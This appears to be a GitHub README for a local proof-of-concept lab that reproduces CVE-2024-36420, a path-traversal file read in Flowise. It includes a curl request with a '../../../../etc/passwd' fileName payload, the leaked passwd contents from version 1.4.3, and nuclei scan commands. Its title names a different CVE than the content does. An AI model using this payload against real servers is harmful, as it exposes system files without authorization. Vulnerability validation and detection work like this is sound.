junn34/POC_CVE-2024-10829
GitHub: junn34/POC_CVE-2024-10829
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# POC_CVE-2024-36420
Local reproduction lab and nuclei template draft for `CVE-2024-36420` affecting Flowise.
## Summary
`CVE-2024-36420` is an arbitrary file read in Flowise caused by unsanitized use of the `fileName` body parameter in:
- `POST /api/v1/openai-assistants-file`
This lab was used to validate:
- vulnerable behavior on `flowiseai/flowise:1.4.3`
- denied behavior on newer `flowiseai/flowise:3.1.2`
## References
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-36420
- GitHub Security Lab: https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/
## Files
- `docker-compose.yml`
- `docker-compose.latest.yml`
- `CVE-2024-36420.yaml`
## Vulnerable Test
Start Flowise `1.4.3`:
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise
Manual verification:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
Observed vulnerable response:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
## Newer-Version Control
Start newer Flowise `3.1.2`:
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise
Manual verification:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
Observed newer-version response:
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}
## Nuclei
Validate the template:
nuclei -duc -validate -t CVE-2024-36420.yaml
Run against the vulnerable target:
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml
Expected behavior:
- `1.4.3`: match
- `3.1.2`: no match
## Notes
- The version gap is acceptable because this repo only claims observed behavior:
- vulnerable on `1.4.3`
- denied on `3.1.2`
- It does not claim the exact patched version boundary.
- No real-world targets were used.